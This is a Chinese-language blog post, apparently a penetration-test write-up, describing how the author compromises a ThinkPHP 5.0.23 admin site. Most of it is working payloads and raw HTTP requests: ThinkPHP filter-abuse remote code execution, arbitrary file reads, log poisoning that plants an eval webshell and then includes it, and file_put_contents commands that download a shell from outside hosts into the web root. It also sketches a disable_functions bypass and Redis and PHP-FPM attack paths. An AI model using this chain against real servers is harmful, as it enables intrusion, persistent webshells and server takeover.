天天看點

一次艱難的TP滲透測試

# 資訊收集

由于網站 www.a.com/admin,通路立即跳轉到www.a.com/admin/publicer/login

發現是TP,5.0.23,在漏洞的版本範圍内,嘗試使用:

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id      
_method=__construct&filter[]=system&method=GET&get[]=id      

發現都不行,而且開啟了pathinfo, 明明在版本範圍内,payload打不成功怎麼辦

一次艱難的TP滲透測試

 檢視驗證碼,繼續使用index.php?s=captcha 檢視發現通路成功,change method,post,發現執行system,傳回500,var_dump發現可以傳回,說明代碼能夠執行成功

POST /?s=captcha HTTP/1.1
Host: vulnhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=1&get[]=2

      
一次艱難的TP滲透測試

檢視phpinfo:

POST /?s=captcha HTTP/1.1
Host: vulnhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

_method=__construct&method=get&filter[]=phpinfo&server[REQUEST_METHOD]=1&get[]=4      

檢視相關的資訊後,disable_functions:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv      

目錄知道的資訊如下:

thinkphp 5.0.23
/www/wwwroot/vulhost/public/index.php
禁用函數
php 7.2.18,沒辦法assert
open_basedir /www/wwwroot/vulhostcn/:/tmp/:/proc/
      

首先想到的是,更新其他函數嘗試,以及一些bypass繞過disable_functions,但是payload目前隻能傳入一個參數,并且還限制了很多函數.

嘗試寫檔案,也不具備傳遞2個參數,使用session來shell

_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=/tmp/sess_asd      

  _method=__construct&method=get&filter[]=think\Session::set&get[]=<?php x?>

發現不成功,可能session位置不對,檢視phpinfo:

一次艱難的TP滲透測試

 發現吧session寫到了redis裡,那嘗試redis 來getshell試試:

_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=curl_exec(curl_init("dict://127.0.0.1:6379/info"));      
一次艱難的TP滲透測試

失敗告終,嘗試其他辦法

發現readfile是可以的,先讀取index.php确定檔案路徑

_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhost/public/index.php      

通過讀取index.php

确定路徑,讀取log

_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhostcn/data/runtime/log/202004/04.log      
_method=__construct&method=get&filter[]=call_user_func&server[REQUEST_METHOD]=<?php eval($_POST['c']);?>      
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=phpinfo();      

檔案包含成功,此漏洞詳情可 檢視:https://xz.aliyun.com/t/6106

至此就基本上搞定了

傳免殺shell:

file_put_contents("/www/wwwroot/vulnstcn/debug.php",file_get_contents("http://scan.javasec.cn/xxxxx"))      

檢視目錄檔案:

_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=print_r(scandir("/www/wwwroot/vulhostcn/public/"));      

bypass disable_functions,參考:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass

_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=file_put_contents("/www/wwwroot/vulhostcn/public/themes/admin_themes/3.php",file_get_contents("http://vps:65534/exploit.php"));      
一次艱難的TP滲透測試

fpm方式利用:

fpm沒有使用tcp的方式,而是使用了unix的socket

$sock = stream_socket_client('unix:///tmp/php-fcgi.sock',$errno,$errstr);      

redis後 自己在shell裡上傳個so 實作的指令執行等等,不過都是一些方向上的思路,可以以後嘗試。

【版權所有@Sevck 部落格位址http://www.cnblogs.com/sevck】 可以轉載,注明出處.